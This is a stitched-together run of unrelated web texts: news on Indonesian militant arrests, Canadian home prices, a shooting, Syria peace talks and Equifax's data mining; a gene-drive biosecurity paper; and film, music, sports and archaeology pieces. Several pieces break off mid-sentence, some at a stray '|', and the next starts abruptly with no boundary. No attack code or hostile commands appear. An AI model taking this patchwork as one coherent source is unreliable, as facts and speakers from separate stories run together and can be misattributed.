Despite Richard Linklaters’ Before Sunrise and Before Sunset being two of my favorite films, I was shocked by how fantastic actress-turned-director Julie Delpy’s spiritual successor 2 Days in Paris turned out. Now, she gives that overlooked gem its own Before Sunset-esque sequel. Instead of trying to build a fruitless relationship with Adam Goldberg’s Jack, she now has a relationship with a new man, played by Chris Rock, in New York. Rock and Delpy are two great tastes that should never go together. Or, so I assume. I’m ready to be challenged and surprised again. Also, Vincent Gallo plays himself. That’s a good thing. I think?
You are logged out. Login | Sign upSo, you want to buy your wife or girlfriend something special. Something that you might like as well. What makes a better gift than lingerie (well, for you at least)? So you go to the store and maybe just buy some ordinary lingerie. But wait, Brazilian designer Lucia Loria has designed an even fancier lingerie. This one comes with a GPS tracking system.
Supposedly it’s for her protection from kidnappings and such. Kind of a wearable Lo-Jack. But now you can track your significant other and keep tabs on them from your home. Think your wife is cheating on you? Who needs a private eye or clunky stalking? Just go online and see where she’s at!
Plus, imagine this awkward conversation: “Happy Birthday, honey! Now I know I thought you were cheating on me, but I bought you these new undies to show how much I love you. Have fun out with the girls tonight.”JAKARTA (Reuters) - Indonesian police arrested nine suspected militants on the island of Sulawesi, a police spokesman said on Saturday, in an operation that media reported had targeted a group with affiliations to Islamic State.
With investigations continuing, police spokesman Martinus Sitompul declined to give further details, but media reported police had also seized bomb-making materials meant for use in attacks on police and official buildings.
The suspects were all members of Mujahidin Indonesia Timur, a group that had been controlled until last year by one of the first Indonesian militants to pledge loyalty to Islamic State.
Santoso had been the country’s most-wanted men before he was killed in a gunbattle with police and military forces last July, and security officials have been expecting reprisal attacks.
Some members of his group were believed to be still hiding in Sulawesi’s dense jungles.
Security experts say that Indonesia, an officially secular state with the world’s largest Muslim population, faces a growing threat from supporters of Islamic State.
Last month, police killed a militant after he detonated a small bomb in the city of Bandung. Authorities said they were investigating whether he had links to a radical network sympathetic to Islamic State.The average resale price of a Canadian home continued to march higher, with the national real estate association showing it hit $416,584 in May, a rise of 7.1 per cent compared to the same month a year earlier.
The Canadian Real Estate Association said sales activity in Toronto and Vancouver continue to skew the average price higher. If those two cities are stripped out, the average Canadian home is worth $336,373 while the year-over-year increase shrinks to 5.3 per cent.
Beyond prices, there are signs that the real estate market is red hot in terms of the number of homes being sold.
The volume of sales rose by 5.9 per cent from April to May, the biggest monthly jump in almost four years — although spring is traditionally the strongest time of the year for home sales.
Home sales were higher in 80 per cent of all local markets in Canada, CREA said, but especially so in Calgary, the Greater Toronto Area and Montreal.
Hot markets
"Over the past 25 years, that widespread a monthly sales increase has been recorded only a handful of times," CREA president Beth Crosbie said in a release.
On an annual basis, however, the sales boom is much less evenly balanced. "While the rebound in sales in May was widespread across Canada, looking at year-on-year trends shows a marked divergence between East and West," TD Bank economist Leslier Preston said of the numbers. "Sales are up from B.C. to Ontario, while from Quebec to Atlantic Canada, sales are below their year-ago levels."
With such strong monthly data, it's no surprise that CREA upped its forecast for how many homes it expects to be sold this year.
The realtor agency now expects 463,400 homes to change hands this year, an increase of 1.2 per cent compared with 2013.
Canadian home sales hit an all-time high of more than 520,000 in 2007. They have remained in a range of either just above 450,000 or just below that level every year since then.Shares
Is your soup poisoning you? In a recent study subjects who ate canned vegetable soup had markedly increased levels of BPA in their urine compared to those who ate freshly prepared soup. We are constantly bombarded with alarmist warnings about the dangerous chemicals in the products we use. Especially BPA (Bisphenol A) and phthalates. Beware plastic bottles! Beware rubber ducks! And now, beware canned soup! BPA and phthalates are classified as endocrine disruptors. They have been discussed before on SBM here and here. BPA has been accused of causing everything from obesity to prostate cancer. Phthalates have been accused of causing everything from breast cancer to reduced anogenital distance in baby boys (the significance of this is unknown: there is |
Const. Brian Palmeter.
"Certainly we don't believe this was a hate crime based on the information that we have so far.… There may have been other reasons at play why this might have occurred."
Palmeter refused to elaborate on what those reasons might be.
Cochrane said she's not involved with the illegal drug culture.
"Unless they were looking for estrogen, I don't think they're really going to get anything out of me," she said while waiting to leave the hospital.
"The area that I live in, yes, it might be drug infested. Yes, it might be a bad area to live in. But just because you live in a bad area it doesn't mean you are the bad person."
Man with gun
Cochrane opened her door when someone claiming to be a police officer knocked just after 1 a.m. She was surprised to see two men in dark baggy clothing — one wearing a red bandana and holding a gun.
As Cochrane and her roommate tried to slam the door shut, the attackers blasted a large hole in it with a shotgun.
"Finally, we got the door shut and we locked it. I thought it was over and I was down on the floor and then all of a sudden I felt a big whoosh and a bang and I looked up and there was a hole in the door," she said.
Cochrane looked down at her arm. The skin was completely gone and she could see the muscles and blood vessels. There was a buzzing sound in her ear.
A shot was fired through the apartment door. (CBC)
She said the culprits ran away when her roommate started to call 911.
Cochrane had surgery on Tuesday and spent the night in hospital. She said she's shaken by what happened and worried because police still haven't caught her attackers.
"What year are we in? We're in 2011, not 1964. And the violence, it was obviously shoot to kill because nine shots and then a shotgun?" she said. "They were just shooting randomly.
"I have no idea why they were so violent. I have no idea who that person was."
Palmeter said investigators are waiting to hear from forensics experts on how many shots were fired and whether two guns were used.
Neighbours told CBC News they heard four or five shots, but Palmeter will only say there were "multiple" shots.
One tenant said the building isn't safe and the smell of drugs wafts throughout the building.
Cochrane said she opened the door because there is often trouble in the neighbourhood.Players from the Michigan State football team are openly rooting against Michigan, even when the Big Ten has an opportunity to finish the bowl season with an unblemished record.
MSU linebackers Joe Bachie and Chris Frey, Jr., took to Twitter on Saturday to voice their support for the Big Ten, while also getting in one last dig at Michigan.
The league is 7-0 in bowl games this year, with Michigan the last team left to play, Monday against South Carolina in the Outback Bowl (noon, ESPN2).
"Good luck to the rest of the B1G and South Carolina," Chris Frey, Jr. wrote Saturday afternoon, before Penn State beat Washington, 35-28, in the Fiesta Bowl.
Then, later in the night, Wisconsin knocked off Miami, 34-24, in the Orange Bowl.
"Big ten baby!," Bachie wrote. "But still #CmonSouth Carolina"
Through Sunday, the Big Ten remained the lone conference with an unbeaten bowl record. The Big 12 (5-2) and Sun Belt (4-1) are the only other leagues with records above.500.
Meanwhile, the PAC 12 dropped to 1-8. The SEC is 1-3, with five teams still left to play, including two (No. 3 Georgia, No. 4 Alabama) in the College Football Playoff.
The dings, while not surprising, come after a contentious bowl selection season between Michigan and Michigan State. The Spartans, who beat Michigan and finished the 2017 regular season with a 9-3 record, were passed over for the 8-4 Wolverines by the Outback Bowl selection committee.
That set off a back and forth between MSU coach Mark Dantonio and Jim Harbaugh, with Harbaugh telling a Florida TV station that he'd "just prefer that (Dantonio) didn't talk about us."
Dantonio responded shortly thereafter, writing on Twitter: "For all Spartans, 'it's not all over, it'll never be over, it's just getting started' #SpartansWill"
Michigan State beat Washington State, 42-17, on Thursday in the Holiday Bowl.As one of three credit bureaus in the United States, Equifax keeps financial data on every adult in America, plus people in 16 other countries. But the company knows much more than just what goes into an old-fashioned credit score.
It maintains information about people who share the same phone number or address, "non-obvious" relationships between individuals, loans for dental work, magazine subscriptions, rental history, real estate assets, investment wealth, retail purchasing, the type of federal tax return someone files, marital status, employment, utility payments, cable TV accounts, criminal records, debt-to-income ratios, changes of address, motor vehicle files, post office boxes, inferences about someone's capacity to pay bills, predictions about someone's propensity to pay, links to past and potential fraud crimes--and more.
This pile of more than 800 billion records is sliced, diced, analyzed and indexed into 26 petabytes of data. That's more data than the FBI's Investigative Data Warehouse, said to be the single biggest repository at the agency, with its relatively measly 1 billion unique documents. In all, Equifax has data on 500 million consumers and 81 million businesses worldwide.
Says Equifax CIO Dave Webb: "We know more about you than you would care for us to know."
In his wry British way, Webb alludes to the power of information and his push to derive ever more lucrative products and services from Equifax's vast stores of it. Webb says Equifax can make money off IT innovation--that is, his staff's ability to manipulate massive amounts of data better and faster than competitors can.
The company has launched scores of new IT-based products in the past few years, chasing two ideas: cutting risk and improving marketing for its 46,000 business customers. Equifax can, among other things, check an immigrant's employment status, verify a doctor's credentials, assess an Internet user's social influence and monitor a child's budding credit portfolio. Big data. Big Brother. Big bucks.
But like other companies in various industries hoping to spin in-house data into revenue, Equifax has to maneuver through tricky economic, political and cultural changes. The recession forces businesses to seek out reliable data on which to base decisions (opportunity), but they have less money to spend (problem). Congress enacted tough regulations to try to control mortgage companies (opportunity), while President Obama's new Consumer Financial Protection Bureau says it's going to monitor credit bureaus (problem). People are freer with personal data than ever before (opportunity), but they don't like it when companies get too personal (problem).
Rivals Experian and TransUnion also are remaking themselves into analytics companies. "Decision analytics is the growth engine for these companies," says Elizabeth Mason, an analyst at Outsell, a company that studies the information industry. "Yet it's a shifting landscape. We don't know yet what the public's tolerance is for companies mining all of this data really well."
Privacy? What Privacy?
Business isn't just about building a better mousetrap. It's about finding out why people don't like mice and what they're willing to do about it. In the past, companies might have gathered consumers in a room to quiz them. Now they pay millions of dollars to collect, buy and analyze data about those consumers, to market the best mousetraps to the right customers.
And why not? People give up personal information in return for convenience. They hand over data about their Web activity for the chance to win a cruise. They let online game companies vacuum up personal tidbits from their Facebook accounts.
Equifax itself coaxes consumers to give up personal information online. A contest to win World Series tickets and $3,000 asked Facebook users to submit a photo and short essay on what they would do with the money.
Consumers share knowingly and unknowingly, through surveys, location-based services, searches, online resumes, photos, check boxes, check-ins, tweets and clicks. People have no time to read gobbledygook privacy policies; they simply click "I Agree."
"The majority of consumers have no clue about the breadth of the information about them, where their information is residing and who has access to it," says John Ulzheimer, president of consumer education at SmartCredit.com, which offers consumers credit scores, identity protection and credit-monitoring services.
How the norms have shifted. Until the mid-1990s, the conventional wisdom about privacy protection was, in essence, that information collected for one purpose shouldn't be used for another. The idea is rooted in a 1973 federal guideline, "Code of Fair Information Practices," which advocated consumer control and consent as core principles.
After the Web opened up, we moved away from the notion of separating and guarding individual pieces of data to protect privacy. Now the prevailing goal seems to be to collect and combine nearly as much personal information as possible in the quest for profit.
There's a growing movement against that trend, though, that CIOs should monitor. What people don't like is when companies combine personal data to reveal more than any single piece of information can, says Lee Rainie, director of the Pew Research Center's Internet and American Life Project. "They are nervous, concerned that material might hurt them," he says.
Still, he notes, people fail to lock down their data out of ignorance or neglect, or sometimes because it's simply not possible.
To protect consumers from themselves and from overreaching companies, lawmakers are getting involved. In March, the Federal Trade Commission recommended that businesses make privacy protection their "default setting." Companies are asked to issue clearer explanations about what happens to consumer data and simplify the choices people are given for how their information is used. "Implementing these best practices will enhance trust and stimulate commerce," the FTC says. Congress, meanwhile, is writing "Do Not Track" and other privacy bills.
For now, as data-based products grow more profitable, the boundaries consist of regulations, laws and the judgment of companies policing themselves.
Monetizing Innovation
Pulling in $2 billion in revenue, Equifax is the second-largest of the three credit bureaus, tucked between $1 billion TransUnion and $4 billion Experian. With no one dominant player, the three are in a constant, tense battle to come up with new products that reveal that much more about consumers. Each touts the breadth and uniqueness of its data. Where they overlap--and despite their rhetoric, they do overlap--speed and innovation are the advantages. "It's a fast-followers game," Webb says.
His mission: to use his operations and IT background, combined with financial industry expertise, to uncover new revenue for Equifax. Webb joined the company in 2010 from SVB Financial Group, a financial services company with $20 billion in assets, where he was CIO and later COO. While his bachelor's degree in Russian may not help, his MBA certainly does.
"I am amazed at how few opportunities business identifies to mine data," Webb says. "We have a responsibility to identify opportunities."
Asked how far Equifax should go, Webb pauses. "The morality question is another whole discussion. But we have the technology to do this, and if it's legal, we should."
They are. Equifax cranked out 69 new products last year in risk management, identity verification, fraud detection, analytics and marketing. Equifax executives carefully measure innovation in revenue terms. An index called New Product Innovation (NPI) measures the revenue generated from products launched in the previous three years to see if they, combined, can bring in at least 10 percent of the company's revenue in a given year. NPI revenue last year was $181 million, up from $176 million in 2010 and $134 million in 2009.
In another innovation program, the company removes 12-15 high-performers from various business units and support functions and sends them off together to brainstorm new products. They meet for three or four weeks, excused from their day jobs, to talk about how to target a need in a specific industry. Most of their ideas make it through the NPI process.
Two new products in development would help companies use analytics to avoid bad customers, says David Brooks, senior vice president of integrated data solutions at Equifax. In one, developers are building a model for banks that combines a person's credit scores with his track record for paying utility bills. The results would indicate whether it's worth the bank's time to pursue the customer for delinquent credit card payments.
The other new product, nicknamed Suspicious ID internally, is a system for watching inquiries on credit reports in real time, to catch crime in the making. The rate of inquiries, along with other factors, would be scored according to fraud risk. "When fraudsters find something that works," says Keith Manthey, the company's vice president of integrated data solutions, "they share it and use it quick."
Breaking IT Traditions
Webb has been stepping up Equifax's analytics and collaboration capabilities, buying a business intelligence tools company and a workflow software vendor last year. The company has spent $1.7 billion in the past five years acquiring data-collection and technology companies. It's a long way from the paper ledgers the company kept through the first 50 of its 113 years in existence. If the useful life of data is two to 15 years, as Equifax says in its latest annual report, Webb wants to make the most of that time. He has set loose his 1,000-member IT group to attack big data, and they've come back with technology innovations that create competitive advantage, he says.
The way Equifax's data is stored and retrieved, for example, bucks tradition. Historically, companies with enormous amounts of data build giant warehouses, often running on massively parallel processing systems. The hardware is expensive, and the architecture of a relational database inhibits queries of unstructured data, Brooks says.
Instead, Equifax views the work as content delivery, rather than query processing. Data is spread across a grid of low-cost servers. IT developed proprietary distributed indexing technology to find information.
"Since our data sizes, transaction inquiry volumes and response-time requirements are all very challenging, we have to be careful about blindly following an industry-standard approach," Brooks says. "That can drive large and complex infrastructure demands that may not be necessary if you step back and think differently about the problem."
The IT group also tosses aside another worn idea. Where master data management projects seek the fabled single version of the truth, Brooks says there's no such thing. Equifax data gurus certainly spend time de-duplicating and cleansing data they integrate from public and private sources, but they've stopped fretting about finding and storing one definitive view of a consumer. Context is more important. "The reality is, they're all right. Now we think of observations more than truth," he says.
Webb encourages creativity in IT, saying the best results come from people who feel challenged. "You know who in your organization wants to learn. Let them have the reins," he says. "Set out the problem and get out of the way."
Mining You
One common way to uncover insights is to mix and match data sets, looking for correlations. Do the credit limits on the department store charge cards of single women indicate anything about their propensity to lease cars? Such blue-sky dabbling might produce useful results for marketers. For example, Equifax's rival Experian recently discovered that adults who use social media are more likely than other Internet users to visit Starbucks. Starbucks--or its coffee competitors--may want to step up its ad buys on Facebook.
At Equifax, insights also come from an executive brain spark. Last spring, Webb's imagination was caught by a CNN story about a $500,000 credit card fraud. According to federal investigators, two brothers conspired with an employee at a Beverly Hills dentist office to create hundreds of fake people who looked real on paper. They made up names, Social Security numbers and other personal data to generate "synthetic" individuals to whom the insider could pretend to give loans for dental work. The insider then reported the loans and false payments to Experian, to establish credit histories under names such as Garnik Dumanov and Grisha Stpanov.
For more than a year, the trio got credit cards under these and other false identities from Bank of America, Wells Fargo and 19 other banks, which approved them after seeing good credit scores. DirecTV and several cell phone providers approved accounts. Car dealerships approved loans for an Audi Q7 and a Lexus IS 250.
Webb emailed Brooks: Could we catch scams like this?4,000-year-old tablets found in Turkey include women’s rights
ISTANBUL
DHA Photos
The Kültepe-Kaniş-Karum trade colony in the Central Anatolian province of Kayseri continues to amaze archeologists, with an expert at the dig revealing that tablets citing women’s rights were discovered at the Bronze Age settlement.Excavations at the ancient tumulus site began in 1948. So far, it has been discovered the center was where the written history of Anatolia began and the largest monumental structure of the Middle East was unearthed in 2013. A centuries-old baby rattle and a tablet about the sale of a donkey were unearthed last year.Last month, the 2015 excavation season began in Kültepe. The head of the excavation team, Prof. Fikri Kulakoğlu of Ankara University, told Doğan News Agency on July 16 the site was remarkable not only because the priceless tablets revealed commercial information about the Assyrians, but also about the local social life of the time with all kinds of personal details about individuals.“From women’s rights to the adoption of children and marriages arranged at birth, the tablets include all kinds of civilizational and social data from Anatolia 4,000 years ago. There is also an emotional letter from a woman to her husband and a letter from another woman who complains about her mother-in-law. You can’t find such things in an empire’s official archive,” he said.Still, most of the 23,500 cuneiform tablets unearthed at Kültepe were about commerce. “Kültepe is where the Anatolian enlightenment began. The people in this area were literate much earlier than other places in Anatolia, including its west,” Kulakoğlu added.Some 90 percent of the Kültepe tablets can be seen in the Museum of Anatolian Civilizations in Ankara. Some of them are exhibited at the site and are expected to be transferred soon to a new archaeology museum under construction in Kayseri, deemed to be the most important museum of the historic Cappadocia region.“This is a huge wealth,” Kulakoğlu said, voicing his hope that the trade colony will soon be included in the UNESCO World Heritage List.The settlement in the tumulus is composed of segments from the early Bronze Age, the middle Bronze Age, the Iron Age and Ancient Greece and Rome.One of the most important discoveries was a tablet from 2000 B.C., which explains there were local kingdoms in Anatolia at that time and the Kaniş Kingdom was the most powerful one.Only a small area of Kültepe, which is thought to have hosted over 70,000 people four millennia ago, has been excavated so far. Officials say it might take 5,000 years to excavate the entire ancient site.This is the full exchange between Sen. Bob Corker and Sen. Ted Cruz where Corker suggests that Cruz and Lee are holding up the vote on the CR until tomorrow just so they can be on TV. But more than that Corker plays dumb on voting for cloture tomorrow, suggesting that a vote for cloture (ending debate) is a vote in support of the House CR.
But that’s completely dishonest because as soon as they vote to end debate on the House CR, Reid is going to propose an amendment to strip out the House language that defunds Obamacare and it can’t be filibustered. It will pass with a simple majority. Corker knows this but plays off the simple majority amendment process that Reid will invoke as something that’s been around for ages and nothing to be concerned about. But Cruz continues to point out to Corker that a vote for cloture tomorrow will indeed be a vote to give Harry Reid the power to fully fund Obamacare.
Also watch to the very end, just past Durbin’s little speech, and you’ll see Corker throw both Cruz and Lee completely under the bus, siding with Durbin. It’s disgusting.Scientists have recognized the potential for applying gene drive technologies to the control of invasive species for several years (1, 2), yet debate about the application of gene drive has been primarily restricted to mosquitoes (3). Recent developments in clustered regularly interspaced short palindromic repeats (CRISPR)-Cas9 technology have restarted discussions of using gene drive for invasive species control (4).
The implications are potentially remarkable: for the first time we may genuinely have a tool with the power to permanently eliminate a target species from the planet (Fig. 1). The question is no longer whether we can control invasive species using gene drive, but whether we should. Here we explore the implications of recent developments in CRISPR-Cas9 gene drive technology from a biosecurity perspective, through broad comparison with classical biological control (CBC).
Fig. 1. CRISPR-Cas9 gene drive technology has vast potential as a tool for controlling invasive species. From top, left to right: Giant African snail, kudzu, black rat, and zebra mussels. Images courtesy of (Top, Left to Right) Wikimedia Commons/Thomas Brown, Shutterstock/J. K. York, CSIRO ScienceImage, US National Oceanic and Atmospheric Administration.
Researchers, policymakers, and resource managers must carefully weigh the risks of implementation that could threaten rather than assist a given ecosystem. To assess the technology’s potential and avoid the considerable pitfalls, we must look at the many successes, failures, and cautionary tales born of traditional control methods: they must be precise, must be cognizant of ecosystem-wide implications, and must be wary of and anticipate unintended consequences.
Driven to Extinction Gene drive technologies provide the ability to disperse engineered genes throughout target populations much more quickly than would be possible via simple genetic inheritance (5). In nature, selfish genetic elements use a similar strategy, generating multiple copies across the genome to improve the chances that they are inherited (6). CRISPR-Cas9 is a bacteria-derived endonuclease system that cuts a target DNA sequence based on complementarity to a 20-bp guide RNA (gRNA) (7). When included as part of a gene drive, a CRISPR-Cas9–generated mutation will make copies of itself anywhere the genome sequence is complementary to the gRNA (7), and hence will convert individuals heterozygous for the mutation into homozygotes (4). Unlike previous technologies, CRISPR-Cas9 offers simplicity, flexibility, and precision in gene targeting, such that any standard molecular biology laboratory could adopt the technology with little additional specialist equipment or training (7). Perhaps most importantly, CRISPR-Cas9 is efficient and inexpensive compared with all previously proposed gene drive technologies (4). A CRISPR-Cas9 gene drive approach to invasive species control would be based on a laboratory strain with a deleterious trait (e.g., distorted sex ratio, reduced fertility, chemical sensitivity) being mass-reared and released into the field in sufficient numbers for the engineered mutation to spread and control the target population within a desired time frame (1). With careful selection of an appropriate coding region, the promulgation of severe deleterious traits could rapidly remove entire populations comprised of individuals with short generation times from both managed and natural environments. In principle, this approach could serve as a “silver bullet” solution for the management of highly threatening invasive alien species. But clearly there are several important factors to take into account, and CBC offers important insights in this context.
Lessons from the Past To date, CBC has been the only cost-effective management option for controlling widespread and abundant introduced organisms (8). Sterile insect technology has also proven to be an effective control option for some target species (9), but without gene drive sterile insect technology is not self-propagating and for most targets is cost-prohibitive. We contend that the implementation of a gene drive control strategy against invasive alien species would be highly analogous to a CBC program. The logistics of release will be similar, with stringent prerelease risk assessment of nontarget effects to prevent unintended ecological consequences, followed by large-scale rearing and a distribution strategy based on sound ecological understanding of population dynamics. As such, practitioners of CRISPR-Cas9 gene drive should consider the lessons learned from decades of carefully regulated CBC research if we are to apply this technology to biosecurity challenges. We focus on three relevant priorities: (i) the importance of understanding target specificity, (ii) the implications of population connectivity, and (iii) the need to carefully consider unintended cascades for community dynamics. First, the strictly regulated process required to approve the introduction of CBC agents requires a systematic testing of agent specificity and the consideration of off-target impacts in the context of phylogenetic relatedness, biogeographic overlap, ecological similarity of a range of nontarget species, and the ecology, evolution, and behavior of the agent (8). Any evidence of off-target impacts for CBC represents a risk for agent introduction and is rarely tolerated. Nontarget effects also need to be an essential consideration for a CRISPR-Cas9 gene drive approach to controlling invasive species (4). Off-target mutations in the target genome can be common if the gRNA is poorly designed, because of a tolerance for mismatches (reviewed in ref. 7). Because the CRISPR-Cas9 gene drive technology remains fully functional in the mutated strain after it is created, the chance of off-target mutations also remains and the likelihood increases with every generation pre- and postrelease. If there is any risk of gene flow between the target species and other species, then there is also a risk that the modified sequences could be transferred and the adverse trait manifested in nontarget organisms. If gene drive technology is to be used for biocontrol purposes, we need to have a robust understanding of gene flow networks involving the target species, and an improved understanding of potential specificity limitations for the gRNA.
Population Dispersal Second, high dispersal ability is a common trait for many invasive alien species, and the risk of long-distance introductions is particularly high for species associated with human movement and trade (10, 11). For gene drive, this is seen as advantageous from the point of view of rapid spread of the deleterious mutations throughout the target population. However, many invasive species have been introduced to multiple locations across global trade routes, which effectively act as stepping Are we are willing to risk the global loss of a species as a result of unintended dispersal of modified individuals back to their native range, to benefit from the control efficiencies that CRISPR-Cas9 gene drive technology could offer? stones linking alien populations with their native range (12). The spread of CBC agents between populations targeted for control or into nontarget populations depends largely on the dispersal traits of the agent, in addition to the risk of anthropogenic or stochastic dispersal (13). The critical difference between agent-mediated CBC and a gene drive approach to biocontrol is that the focus for gene drive is the target species itself. Thus, the spread of a deleterious trait depends on the dispersal ability of the target, as well as anthropogenic or stochastic dispersal. Dispersal of these traits through populations, including into the native range, would be extremely challenging to detect, reducing the ability and increasing the cost of biosecurity measures to prevent spread of modified agents to areas where they remain unwanted. Importantly, targets of CBC are relatively well adapted to the presence of the released agents in their native range (which is generally the agent source), whereas native populations of species targeted by gene drive would remain highly susceptible.
Community Dynamics Finally, although it might seem that the targeted removal of problematic populations with gene drive technology should only produce positive outcomes, all biosecurity management options have the potential for unintended or indirect ecological consequences that need to be carefully considered. Given the potential for gene drive approaches for eradicating species, the criticism of elevated risks of indirect effects will be more real for such approaches than has been the case with CBC (14, 15). There is increasing awareness, however, that with a growing pool of invasive alien species, many will have considerable niche overlap, such that if one introduced species was to be removed from the community, another would be likely to rapidly take its place (16, 17). Hence, the overall effect on ecosystem values may remain unchanged even if one invader is eradicated. Furthermore, with long introduction histories also comes change in community structure, with introduced species often fulfilling significant roles, particularly in landscapes with strong anthropogenic modification. As with critical food resources or apex predators filling gaps after earlier human-driven extinctions (18), there remains a risk that removing species with gene drive technology could produce unintended cascades that may represent a greater net threat than that of the target species. Given these issues, a consultative and regulated risk–cost-benefit analysis approach, akin to that used in best-practice CBC (19), may be a prudent step forward in the use of the gene drive approach in a biosecurity context.
Weighing the Risks The question is this: Are we are willing to risk the global loss of a species as a result of unintended dispersal of modified individuals back to their native range, to benefit from the control efficiencies that CRISPR-Cas9 gene drive technology could offer? There may be situations where the risks identified above are minimal and the use of this technology for controlling invasive species is deemed acceptable after a full risk–cost-benefit analysis (Fig. 1). Isolated islands facing severe threats from alien reptiles or perhaps rodents (e.g., ref. 20), where border control and physical distance could control any outward gene flow, potentially represent a low risk-high gain priority for action. In contrast, marine invasions, where unintended anthropogenic dispersal remains inappropriately frequent (21), or terrestrial invasions of highly effective dispersers such as grasses or volant animals (22, 23), could only be viewed as targets with arguably intolerable risk. More challenging situations would include species that are widely viewed as undesirable throughout both their alien and native ranges; yet, in such cases, assumptions about other countries’ biosecurity priorities should be handled with great caution. There are many cases where the risks could be deemed insurmountable. Irrespective of how these biosecurity risks are perceived, we caution that without a regulatory framework that provides a mechanism to work through these issues with clarity and transparency for CRISPR-Cas9 gene drive, this putative silver bullet technology could become a global conservation threat. Biosecurity is just one of many areas in which CRISPR-Cas9 gene drive technology is being focused (4). It is encouraging that momentum is building to engage stakeholders and scientists from various disciplines into a public discussion on the potential applications of gene drives (see dels.nas.edu/Study-In-Progress/Gene-Drive-Research-Human/DELS-BLS-15-06). We contend that the extensive experience of regulatory successes (and failures) in the context of CBC can offer an existing framework to provide meaningful guidance for assessing risks and benefits for applications related to invasive species control within this emerging field. The time to develop this regulatory framework is now.
Acknowledgments We thank Paul Bertsch, Raphael Didham, Gary Fitt, John Scott, and Andy Sheppard for comments on this manuscript.
Footnotes Author contributions: B.L.W., S.R., and O.R.E. wrote the paper.
Any opinions, findings, conclusions, or recommendations expressed in this work are those of the authors and do not necessarily reflect the views of the National Academy of Sciences.Media playback is unsupported on your device Media caption Bashar al-Assad: Geneva "cannot replace the political process inside Syria"
The US has urged the UN to drop its invitation to Iran to join peace talks on Syria, due to begin in two days.
American officials accused Iran of failing to back the aim of the talks, which is to set up a transitional government in war-torn Syria.
Iran, a key ally of the Syrian regime, said it would not accept any conditions put on its participation.
UN chief Ban Ki-moon said he was "dismayed" at the row and was reconsidering the UN's options.
The peace talks, due to be held in Switzerland, are being billed as the biggest diplomatic effort aimed at resolving Syria's civil war.
Analysis It is hard to fathom that the stumbling block to this peace conference is neither the Syrian opposition nor President Assad, but a diplomatic misunderstanding between the US and the UN. Iran's participation has always been a contentious issue. The US and Saudi Arabia have strongly opposed Tehran's involvement without its acceptance of the Geneva I communique. The UN has long said Iran should have a seat at the table. UN and American officials consulted throughout Sunday. After his conversations with Iranian Foreign Minister Javad Zarif, Ban Ki-moon felt he had enough private, implicit assurances from the Iranians to invite them. But the US wants Iran's private commitment to be made public and explicit first and was caught off guard by the UN invitation. Iran has not done so, and if the UN does not withdraw the invitation, the US itself may walk away from the conference.
More than 100,000 people have been killed and millions more displaced in the three-year war.
The Syrian regime and the main exiled opposition group, the National Coalition, were both due to send delegates to the talks.
But Mr Ban's decision to invite Iran has thrown the UN-sponsored conference into doubt.
The National Coalition said it would pull out if the invitation to Iran was not rescinded.
Monzer Akbik, the National Coalition's chief of staff, told the BBC's Newshour programme that Iran's inclusion was against the promises his group had received.
America's UN envoy Samantha Power said Iran was not entitled to take part because it had not shown willing to "explicitly and publicly" back a transition process.
"That is a minimum requirement for participation in this peace process," she said.
However, the UN and Russia have long argued that Iran should come to the conference.
Mr Ban invited Iran to the UN-sponsored conference after he had received assurances that the Iranians would play a "positive role" in securing a transitional government.
However, Mr Ban's spokesman said Iran's subsequent public comments have been "disappointing".
Media playback is unsupported on your device Media caption The SNC's Walid Saffour: "We will not participate unless Iran withdraws from Syria and commits to the principles of Geneva I"
Meanwhile, CNN and UK newspaper the Guardian are reporting claims that the Syrian regime tortured and killed thousands of detainees.
Some 55,000 photographs showing 11,000 detainees were smuggled out of Syria by a defector who served as a military police photographer, according to CNN.
The Guardian suggests that the publication of the evidence, along with a Qatar-funded report scrutinising the defector's credibility, appears to have been timed deliberately to coincide with the peace conference.
The conference is due to open in Montreux on Wednesday, and then continue in Geneva two days later.
The path to the talks began in May last year when Russian Foreign Minister Sergei Lavrov and US Secretary of State John Kerry agreed to try to bring both sides together.
Geneva communique A UN-backed meeting in 2012 issued the document and urged Syria to: Form transitional governing body
Start national dialogue
Review constitution and legal system
Hold free and fair elections More on the Geneva communique
Later, the UN Security Council called for a conference to implement the Geneva communique - a deal on a transitional government agreed at a UN-backed meeting in 2012.
However, the National Coalition appears resolute that any transitional government will not involve President Bashar al-Assad.
For his part, Mr Assad said on Monday that the possibility of the National Coalition obtaining any ministerial positions in a new government was "totally unrealistic".
In an interview with AFP news agency, Mr Assad also indicated he was not going to quit as president and that he was likely to run for a third term.It's been another exciting year on the shoegaze and psych rock circuits. While two of the scene's most reverential acts Ride and Slowdive have road tested new material and announced the imminent arrival of a new album respectively, fellow influential outfit from back in the day Lush returned, released a new EP, played a batch of critically acclaimed shows, but now appear to be gearing up for their last ever performance later this month after the departure of bass player Philip King.
Elsewhere, established bastions of the scene The Brian Jonestown Massacre, Nothing, and The Warlocks all released impressive long players, while rising stars The Lucid Dream and Flyying Colours continued their ascent putting out impeccable albums of their own.
However, the emergence of numerous new artists and labels has also ensured 2016 goes down as a year to remember. Homegrown imprints like Wrong Way Records have put out a handful of excellent releases (a couple of which are featured here) while newcomers from as far afield as Italy (Parma's My Invisible Friend) and Belgium (Antwerp's Newmoon and Few Bits) have been responsible for some of this year's finest music.
So without further ado, here's 25 artists we've been getting into a lather about over the course of this year.
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Is Bliss
This Portsmouth-based trio recently signed to esteemed independent Club AC30 and release their debut EP Velvet Dreams later this month. Fusing the soundscapes of early Verve with reverb-fuelled delirium in the vein of Ride or Chapterhouse. This is 'Ocean Blue', taken from the forthcoming EP.
The Early Years
Although not strictly a new release as such, shoegaze luminaries The Early Years reissue their self-titled debut on 11th November to commemorate its tenth anniversary. Released as a limited edition pressing of just 300 copies on transparent orange wax vinyl, it's an essential addition to anyone's collection as well as providing a timely reminder of its creators' wares. Here's 'All Ones And Zeros', the band's second single from 2006.
Ulrich Schnauss
Having established himself as one of the most forward thinking musicians in the ambient scene, Ulrich Schnauss releases his fifth long player this week (4th November). No Further Ahead Than Today is an ethereal, beat-laden collection electronically based musings and soundscapes that further enhances his already prestigious back catalogue.
Wuzi
Leeds based four-piece Wuzi might be a new name on the scene |
was impressed that the pastor, despite being the victim of violence, immediately wanted to seek forgiveness for his attacker.
“Emotions can take over and people can say things, but his immediate reaction was to try to forgive. That just speaks to what a passionate individual he is,” Gonzales said.Experts find recurring themes in wrongful convictions. And while some jurisdictions are now creating in-house review units to ensure convictions are righteous, commonly repeated mistakes continue to mar cases.
